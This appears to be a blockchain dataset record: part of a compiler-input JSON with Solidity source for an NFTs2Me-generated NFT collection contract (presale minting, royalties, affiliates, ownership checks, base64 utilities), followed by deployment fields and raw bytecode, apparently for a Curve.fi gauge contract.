(soulbound) _soulbound[tokenIds[i]] = true;\n unchecked {\n ++i;\n }\n }\n }\n\n /// @notice Mints `amount` of NFTs to `to` address with optional specified tokenIds. This function must be called only if a valid `signature` is given during a whitelisting/presale.\n /// @param to The addresses of the NFTs receivers\n /// @param tokenIds An optional array of the specified tokens. They must not be minted, otherwise, it will revert. Only used if minting type is `specify`.\n /// @param freeMinting True is minting is free\n /// @param customFee Zero is fee is different from `mintingPrice`.\n /// @param maxAmount Max Amount to be minted with the given `signature`.\n /// @param amount Amount to mint.\n /// @param soulbound True if the NFT is a Soulbound Token (SBT). If set, it can't be transferred.\n /// @param signature Valid `signature` for the presale/whitelist.\n function mintPresale(\n address to,\n uint256[] memory tokenIds,\n bool freeMinting,\n uint256 customFee,\n uint256 maxAmount,\n uint256 amount,\n bool soulbound,\n bytes calldata signature\n ) external payable override {\n if (amount == 0) revert InvalidAmount();\n\n _usedAmountSignature[signature] += amount;\n if (_usedAmountSignature[signature] > maxAmount) revert NotEnoughAmountToMint();\n\n if (_soldTokens + amount > _collectionSize) revert CollectionSoldOut();\n\n if (_currentPhase == SalePhase.CLOSED) revert PresaleNotOpen();\n\n address signer = ECDSAUpgradeable.recover(\n ECDSAUpgradeable.toEthSignedMessageHash(\n keccak256(\n abi.encodePacked(\n this.mintPresale.selector, \n address(this), \n block.chainid, \n to,\n freeMinting,\n customFee,\n maxAmount,\n soulbound\n )\n )\n ),\n signature\n );\n\n if (signer != N2M_PRESALE_SIGNER && signer != owner()) revert SignatureMismatch();\n\n if (freeMinting) {\n\n if (msg.value != 0) revert InvalidMintFeeForFreeMinting();\n } else {\n\n if (customFee == 0) customFee = _mintPrice;\n _requirePayment(customFee, amount);\n }\n\n if (_mintingType == MintingType.SPECIFY) {\n\n if (tokenIds.length != amount) revert InvalidInputSizesDontMatch();\n _mintSpecify(to, tokenIds, soulbound);\n } else if (_mintingType == MintingType.RANDOM) {\n bytes32 seed = keccak256(abi.encodePacked(signature));\n _soldTokens += uint32(amount);\n _mintRandom(to, amount, seed, soulbound);\n } else if (_mintingType == MintingType.SEQUENTIAL) {\n _mintSequential(to, amount, soulbound);\n } else {\n\n revert PresaleInvalidMintingType();\n }\n }\n\n /// @notice Returns the minting price of one NFT.\n /// @return Mint price for one NFT in native coin or ERC-20.\n function mintPrice() external view returns (uint256) {\n return _mintPrice;\n }\n\n /// @notice Returns the current total supply.\n /// @return Current total supply.\n function totalSupply() external view returns (uint256) {\n return _soldTokens;\n }\n\n /// @notice Max amount of NFTs to be hold per address.\n /// @return Max per address allowed.\n function maxPerAddress() external view override returns (uint16) {\n return _maxPerAddress;\n }\n\n /// @notice Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n /// @param salePrice The sale price\n /// @return receiver the receiver of the royalties.\n /// @return royaltyAmount the amount of the royalties for the given input.\n function royaltyInfo(\n uint256, \n uint256 salePrice\n ) external view virtual returns (address receiver, uint256 royaltyAmount) {\n\n return (address(this), uint256((salePrice * _royaltyFee) / 100_00));\n }\n\n function _requirePaymentWithAffiliates(uint256 amount, address affiliate)\n internal\n {\n uint16 currentUserDiscount;\n uint16 currentAffiliatePercentage;\n if (_affiliatesInfo[affiliate].enabled) {\n currentUserDiscount = _affiliatesInfo[affiliate].userDiscount;\n currentAffiliatePercentage = _affiliatesInfo[affiliate].affiliatePercentage;\n } else {\n currentUserDiscount = _affiliatesInfo[address(0)].userDiscount;\n currentAffiliatePercentage = _affiliatesInfo[address(0)].affiliatePercentage;\n }\n\n uint256 discountMintPrice = ((100_00 - currentUserDiscount) * _mintPrice) / 100_00;\n _requirePayment(discountMintPrice, amount);\n if (affiliate != address(0)) {\n uint256 affiliateAmount = (currentAffiliatePercentage * discountMintPrice * amount) / 100_00;\n _pendingTotalAffiliatesBalance += affiliateAmount;\n _pendingAffiliateBalance[affiliate] += affiliateAmount;\n emit AffiliateSell(affiliate);\n }\n }\n\n function _checkPhase() private {\n\n if (_currentPhase != SalePhase.PUBLIC) {\n if (_currentPhase == SalePhase.DROP_DATE) {\n if (block.timestamp >= _dropDateTimestamp) {\n _currentPhase = SalePhase.PUBLIC;\n delete(_dropDateTimestamp);\n } else {\n revert WaitUntilDropDate();\n }\n } else if (_currentPhase == SalePhase.DROP_AND_END_DATE) {\n if (block.timestamp < _dropDateTimestamp) {\n revert WaitUntilDropDate();\n }\n if (block.timestamp >= _endDateTimestamp) {\n revert SaleFinished();\n }\n } else {\n\n revert PublicSaleNotOpen();\n }\n }\n }\n\n function _requirePayment(uint256 p_mintPrice, uint256 amount) internal {\n if (_isERC20Payment == false) {\n\n if (msg.value != (p_mintPrice * amount)) revert InvalidMintFee();\n } else {\n\n if (p_mintPrice == 0) return;\n uint256 totalAmount = p_mintPrice * amount;\n\n SafeERC20Upgradeable.safeTransferFrom(\n IERC20Upgradeable(_erc20PaymentAddress),\n msg.sender,\n address(this),\n totalAmount\n );\n }\n }\n\n modifier onlyAllowedOperator() {\n\n _isOperatorAllowed(msg.sender);\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) {\n _isOperatorAllowed(operator);\n _;\n } \n\n function _isOperatorAllowed(address operator) private {\n if (_operatorFilterStatus == OperatorFilterStatus.ENABLED_EXISTS) {\n\n operatorFilterRegistry.isOperatorAllowed(address(this), operator);\n\n } else if (_operatorFilterStatus == OperatorFilterStatus.ENABLED_NOT_INITIALIZED) {\n\n if (address(operatorFilterRegistry).code.length > 0) {\n try operatorFilterRegistry.registerAndSubscribe(address(this), DEFAULT_SUBSCRIPTION) {\n\n _operatorFilterStatus = OperatorFilterStatus.ENABLED_EXISTS;\n operatorFilterRegistry.isOperatorAllowed(address(this), operator);\n } catch {\n }\n }\n } \n\n }\n\n fallback() external payable\n {\n address libraryAddress = LIBRARY_ADDRESS;\n\n assembly {\n\n calldatacopy(0, 0, calldatasize())\n\n let result := delegatecall(\n gas(),\n libraryAddress,\n 0,\n calldatasize(),\n 0,\n 0\n )\n\n returndatacopy(0, 0, returndatasize())\n\n switch result\n\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n receive() external payable {} \n}\n" }, "contracts/N2MVersion.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"@nfts2me/contracts/important/README.sol\";\n\n/// @title NFTs2Me.com Smart Contracts Version\n/// @author The NFTs2Me Team\n/// @notice Read our terms of service\n/// @custom:security-contact [email protected]\n/// @custom:terms-of-service https://nfts2me.com/terms-of-service/\n/// @custom:website https://nfts2me.com/\nabstract contract N2MVersion is Readme {\n /// @notice Current version of the nfts2me.com contracts.\n function n2mVersion() virtual external pure returns (uint256) {\n return 1000;\n }\n\n}\n" }, "contracts/ownable/NFTOwnableUpgradeable.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol\";\n\n/// @title NFTs2Me.com Smart Contracts\n/// @author The NFTs2Me Team\n/// @notice Read our terms of service\n/// @custom:security-contact [email protected]\n/// @custom:terms-of-service https://nfts2me.com/terms-of-service/\n/// @custom:website https://nfts2me.com/\nabstract contract NFTOwnableUpgradeable is Initializable, ContextUpgradeable {\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n modifier onlyStrictOwner() {\n _checkStrictOwner();\n _;\n }\n\n modifier onlyOwnerOrN2M() {\n _checkOwnerOrN2M();\n _;\n }\n\n modifier onlyN2M() {\n _checkN2M();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address);\n function _strictOwner() internal view virtual returns (address);\n function _getN2MFeeAddress() internal view virtual returns (address);\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n require(owner() == msg.sender, \"Ownable: caller is not the owner\");\n }\n\n function _checkStrictOwner() internal view virtual {\n require(_strictOwner() == msg.sender, \"Ownable: caller is not the owner\");\n }\n\n function _checkOwnerOrN2M() internal view virtual {\n require(owner() == msg.sender || _getN2MFeeAddress() == msg.sender, \"Ownable: caller is not the owner\");\n }\n\n function _checkN2M() internal view virtual {\n require(_getN2MFeeAddress() == msg.sender, \"Ownable: caller is not the owner\");\n }\n\n}" }, "contracts/TextUtils.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\nbytes constant BASE64_TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n/// @title NFTs2Me.com TextUtils Library\n/// @author The NFTs2Me Team\n/// @notice Read our terms of service\n/// @custom:security-contact [email protected]\n/// @custom:terms-of-service https://nfts2me.com/terms-of-service/\n/// @custom:website https://nfts2me.com/\nlibrary TextUtils {\n\n /// @notice Encodes some bytes to the base64 representation\n function base64Encode(bytes memory data)\n internal\n pure\n returns (string memory)\n {\n uint256 len = data.length;\n if (len == 0) return \"\";\n\n uint256 encodedLen = 4 * ((len + 2) / 3);\n\n bytes memory result = new bytes(encodedLen + 32);\n\n bytes memory table = BASE64_TABLE;\n\n assembly {\n let tablePtr := add(table, 1)\n let resultPtr := add(result, 32)\n\n for {\n let i := 0\n } lt(i, len) {\n\n } {\n i := add(i, 3)\n let input := and(mload(add(data, i)), 0xffffff)\n\n let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))\n out := shl(8, out)\n out := add(\n out,\n and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)\n )\n out := shl(8, out)\n out := add(\n out,\n and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)\n )\n out := shl(8, out)\n out := add(\n out,\n and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)\n )\n out := shl(224, out)\n\n mstore(resultPtr, out)\n\n resultPtr := add(resultPtr, 4)\n }\n\n switch mod(len, 3)\n case 1 {\n mstore(sub(resultPtr, 2), shl(240, 0x3d3d))\n }\n case 2 {\n mstore(sub(resultPtr, 1), shl(248, 0x3d))\n }\n\n mstore(result, encodedLen)\n }\n\n return string(result);\n }\n\n function escapeQuotesAndBackslash(string memory symbol)\n internal\n pure\n returns (string memory)\n {\n bytes memory symbolBytes = bytes(symbol);\n uint8 quotesCount;\n for (uint8 i; i < symbolBytes.length; ) {\n if (symbolBytes[i] == '\"' || symbolBytes[i] == \"\\\\\") {\n unchecked {\n ++quotesCount;\n }\n }\n unchecked {\n ++i;\n }\n }\n if (quotesCount > 0) {\n bytes memory escapedBytes = new bytes(\n symbolBytes.length + (quotesCount)\n );\n uint256 index;\n for (uint8 i; i < symbolBytes.length; ) {\n if (symbolBytes[i] == '\"' || symbolBytes[i] == \"\\\\\") {\n escapedBytes[index++] = \"\\\\\";\n }\n escapedBytes[index++] = symbolBytes[i];\n unchecked {\n ++i;\n }\n }\n return string(escapedBytes);\n }\n return symbol;\n } \n}" } }, "settings": { "optimizer": { "enabled": true, "runs": 17766 }, "viaIR": true, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "metadata": { "useLiteralContent": true }, "libraries": {} } }}
1
19,493,314
e2dd4c31a11f42bcf61c91bc341b01509872277c38bd422e9fde62be98e58b81
fdcfdcb50f896f1bec6e996a40e0e73a44c78691f1de74d17db13692f6a16a07
994d5147c315b31f997d8d24b0f8ce7a9557ad31
6a8cbed756804b16e05e741edabd5cb544ae21bf
3ed4de2fabd03a6fd289851544c1065b961bd195
6129c551503461035a576020612cd95f395f518060a01c61035a57604052604051600d5533600b5532600c556040516395d89b4160a052606060a0600460bc845afa61004d573d5f5f3e3d5ffd5b60403d1061035a5760a05160a001602081511161035a5780516101205260208101516101405250610120905080516060526020810151608052505f6009610100527f43757276652e666920000000000000000000000000000000000000000000000061012052610100805160208201836101a00181518152505080830192505050606051816101a001608051815250808201915050600e610140527f204761756765204465706f73697400000000000000000000000000000000000061016052610140805160208201836101a001815181525050808301925050508061018052610180905060208151018060a0828460045afa505050602060a051015f81601f0160051c6003811161035a57801561017957905b8060051b60a001518160040155600101818118610161575b5050505f60605181610160016080518152508082019150506006610100527f2d67617567650000000000000000000000000000000000000000000000000000610120526101008051602082018361016001815181525050808301925050508061014052610140905060208151015f81601f0160051c6003811161035a57801561021557905b8060051b84015181600701556001018181186101fe575b505050504260235563b26b238e610100526020610100600461011c5f73d533a949740bb3306d119cc777fa900ba034cd525af1610254573d5f5f3e3d5ffd5b60203d1061035a576101005160d81b632c4e722e610140526020610140600461015c73d533a949740bb3306d119cc777fa900ba034cd525afa610299573d5f5f3e3d5ffd5b60203d1061035a576101405180820182811061035a5790509050600f5560a05160c0206129655260014303406129a55246612985527f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6101205261296551610140527f71916ddf3efd1d13d14899519c9cd193fa3f9be07ea852717d2f225de1eb2466610160524661018052306101a0526129a5516101c05260c0610100526101008051602082012090506129c55261296561035e610000396129e5610000f35b5f80fd5f3560e01c6002603f821660011b6128e501601e395f51565b63bfa0b133811861003657346128e15760206129a560403960206040f35b63095ea7b38118611c2d576044361034176128e1576004358060a01c6128e1576040526024356003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f3611c2d565b6370a0823181186100f2576024361034176128e1576004358060a01c6128e15760405260016040516020525f5260405f205460605260206060f35b6301ddabf18118611c2d576024361034176128e1576004358060a01c6128e15760405260126040516020525f5260405f205460605260206060f3611c2d565b6318160ddd811861014d57346128e15760025460405260206040f35b6323b872dd8118611c2d576064361034176128e1576004358060a01c6128e1576103a0526024358060a01c6128e1576103c0525f546002146128e15760025f5560036103a0516020525f5260405f2080336020525f5260405f209050546103e0527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6103e0511461020b576103e0516044358082038281116128e1579050905060036103a0516020525f5260405f2080336020525f5260405f209050555b6103a0516102e0526103c051610300526044356103205261022a612779565b600161040052602061040060035f55f3611c2d565b63dd62ed3e8118610297576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260036040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b6384e9bd7e8118611c2d576024361034176128e1576004358060a01c6128e1576102e0525f61030052610f3a56611c2d565b6306fdde03811861034457346128e157602080604052806040016020600454015f81601f0160051c600381116128e157801561031857905b80600401548160051b850152600101818118610301575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63331345838118611c2d576024361034176128e1576004358060a01c6128e1576102805261028051604052610377611cc4565b6019610280516020525f5260405f2054638b752bb06102a052610280516102c052306102e05260206102a060446102bc73d061d61a4d941c39e5453435b6345dc261c2fce05afa6103ca573d5f5f3e3d5ffd5b60203d106128e1576102a0518082038281116128e15790509050610300526020610300f3611c2d565b6395d89b418118611c2d57346128e157602080604052806040016020600754015f81601f0160051c600381116128e157801561044257905b80600701548160051b85015260010181811861042b575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f3611c2d565b637ecebe0081146003361116156104b3576024361034176128e1576004358060a01c6128e157604052600a6040516020525f5260405f205460605260206060f35b639c868ac08118611c2d57346128e157600e5460405260206040f3611c2d565b63c45a015581186104ef57346128e157600b5460405260206040f35b633644e5158118611c2d57346128e157602061050c610120611c31565b610120f3611c2d565b63481c6a75811861053157346128e157600c5460405260206040f35b6396c551758118611c2d576024361034176128e1576004358060a01c6128e157610280526018610280516020525f5260405f20546102a05263da020a1861032052610280516103405263010ae7576102e052610280516103005260206102e060246102fc735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa6105b8573d5f5f3e3d5ffd5b60203d106128e1576102e051610360526020610320604461033c735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa6105f5573d5f5f3e3d5ffd5b60203d106128e157610320516102c0526001610280516020525f5260405f20546102e0526370a082316103005261028051610320526020610300602461031c735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa610657573d5f5f3e3d5ffd5b60203d106128e1576103005161066e576001610678565b6102a0516102c051115b156128e1576102e051602881028160288204186128e15790506064810490506015610280516020525f5260405f205411156128e157610280516040526106bc611cc4565b610280516040526001610280516020525f5260405f20546060526002546080526106e46125c3565b00611c2d565b6382c630668118611c2d57346128e157600d5460405260206040f3611c2d565b63963c94b98118611c2d57346128e15760105460405260206040f3611c2d565b6348e9c65e8118611c2d576024361034176128e1576004358060a01c6128e15760405260116040516020525f5260405f2080546060526001810154608052600281015460a052600381015460c052600481015460e0526005810154610100525060c06060f3611c2d565b63f05cc0588118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260136040516020525f5260405f20806060516020525f5260405f2090505460805260206080f3611c2d565b6313ecb1ca8118611c2d576024361034176128e1576004358060a01c6128e15760405260156040516020525f5260405f205460605260206060f3611c2d565b6317e280898118611c2d57346128e15760165460405260206040f3611c2d565b63de263bfa8118611c2d576024361034176128e1576004358060a01c6128e15760405260176040516020525f5260405f205460605260206060f3611c2d565b639bd324f281186108c9576024361034176128e1576004358060a01c6128e15760405260186040516020525f5260405f205460605260206060f35b63e6f1daf28118611c2d57346128e157336102e0525f61030052610f3a56611c2d565b63094007078118610927576024361034176128e1576004358060a01c6128e15760405260196040516020525f5260405f205460605260206060f35b6383df67478118611c2d576064361034176128e1576024358060a01c6128e1576102e0526044358060011c6128e157610300525b5f546002146128e15760025f556102e051156128e1576102e051604052610980611cc4565b60043515610af2576010541515610320526002546103405261032051156109c2576102e05160405261034051606052610300516080525f60a0526109c26121f9565b610340516004358082018281106128e157905090506103405260016102e0516020525f5260405f20546004358082018281106128e15790509050610360526103605160016102e0516020525f5260405f2055610340516002556102e0516040526103605160605261034051608052610a386125c3565b600d546323b872dd61038052336103a052306103c0526004356103e0526020610380606461039c5f855af1610a6f573d5f5f3e3d5ffd5b60203d106128e157610380518060011c6128e1576104005261040050506102e0517fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c600435610380526020610380a26102e0515f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600435610380526020610380a35b60035f5500611c2d565b63ef78d4fd8118611c2d57346128e157601a5460405260206040f3611c2d565b6354c49fe98118610b49576024361034176128e157600435600781116128e157601b015460405260206040f35b63be5d1be98118611c2d57346128e157600f5460d81c60405260206040f3611c2d565b637598108c8118610ba5576024361034176128e1576004356c01431e0fae6d7217ca9fffffff81116128e1576023015460405260206040f35b63fec8ee0c8118611c2d576024361034176128e1576004356c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015460405260206040f3611c2d565b63b6b55f258118610c12576024361034176128e157336102e0525f6103005261095b565b636e553f658118611c2d576044361034176128e1576024358060a01c6128e1576102e0525f6103005261095b56611c2d565b632e1a7d4d8118610c63576024361034176128e1575f6102e052610d88565b63e8de0d4d8118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605233600c548118610ca5576001610ce8565b600b5463f851a44060e052602060e0600460fc845afa610cc7573d5f5f3e3d5ffd5b60203d106128e15760e0518060a01c6128e157610120526101209050518118155b9050156128e157606051156128e1576010546080526007608051116128e15760116040516020525f5260405f20600181019050546128e15760605160116040516020525f5260405f2060018101905055604051608051600781116128e157601b0155608051600181018181106128e157905060105500611c2d565b6338d074368118611c2d576044361034176128e1576024358060011c6128e1576102e0525b5f546002146128e15760025f5533604052610da1611cc4565b60043515610e9d57601054151561030052600254610320526103005115610de05733604052610320516060526102e0516080525f60a052610de06121f9565b610320516004358082038281116128e15790509050610320526001336020525f5260405f20546004358082038281116128e1579050905061034052610340516001336020525f5260405f205561032051600255336040526103405160605261032051608052610e4d6125c3565b600d5463a9059cbb6103605233610380526004356103a0526020610360604461037c5f855af1610e7f573d5f5f3e3d5ffd5b60203d106128e157610360518060011c6128e1576103c0526103c050505b337f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364600435610300526020610300a25f337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600435610300526020610300a360035f5500611c2d565b639faceb1b8118611c2d576044361034176128e1576004358060a01c6128e1576102e0526024358060a01c6128e157610300525b5f546002146128e15760025f556103005115610f5b57336102e051186128e1575b6102e05160405260025460605260016080526103005160a052610f7c6121f9565b60035f5500611c2d565b63a9059cbb8118611c2d576044361034176128e1576004358060a01c6128e1576103a0525f546002146128e15760025f55336102e0526103a0516103005260243561032052610fd3612779565b60016103c05260206103c060035f55f3611c2d565b63d505accf8118611c2d5760e4361034176128e1576004358060a01c6128e157610120526024358060a01c6128e157610140526084358060081c6128e1576101605261012051156128e15760643542116128e157600a610120516020525f5260405f2054610180525f60026101c0527f19010000000000000000000000000000000000000000000000000000000000006101e0526101c08051602082018361032001815181525050808301925050506110a2610200611c31565b610200518161032001526020810190507f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c961024052610120516102605261014051610280526044356102a052610180516102c0526064356102e05260c061022052610220805160208201209050816103200152602081019050806103005261030090508051602082012090506101a052610120515f610240526101a0516101c052610160516101e052604060a461020037602061024060806101c060015afa5061024051186128e1576044356003610120516020525f5260405f2080610140516020525f5260405f2090505560016101805101600a610120516020525f5260405f205561014051610120517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256044356101c05260206101c0a360016101c05260206101c0f3611c2d565b63395093518118611c2d576044361034176128e1576004358060a01c6128e1576040526003336020525f5260405f20806040516020525f5260405f209050546024358082018281106128e157905090506060526060516003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560605160805260206080a3600160805260206080f3611c2d565b63a457c2d7811861134a576044361034176128e1576004358060a01c6128e1576040526003336020525f5260405f20806040516020525f5260405f209050546024358082038281116128e157905090506060526060516003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560605160805260206080a3600160805260206080f35b6390b229978118611c2d576024361034176128e1576004358060011c6128e157604052600b5463f851a440606052602060606004607c845afa61138f573d5f5f3e3d5ffd5b60203d106128e1576060518060a01c6128e15760a05260a090505133186128e157604051600e5500611c2d565b634b8200938118611c2d576024361034176128e1576004358060a01c6128e15761028052336102805181186113f257600161140b565b73d061d61a4d941c39e5453435b6345dc261c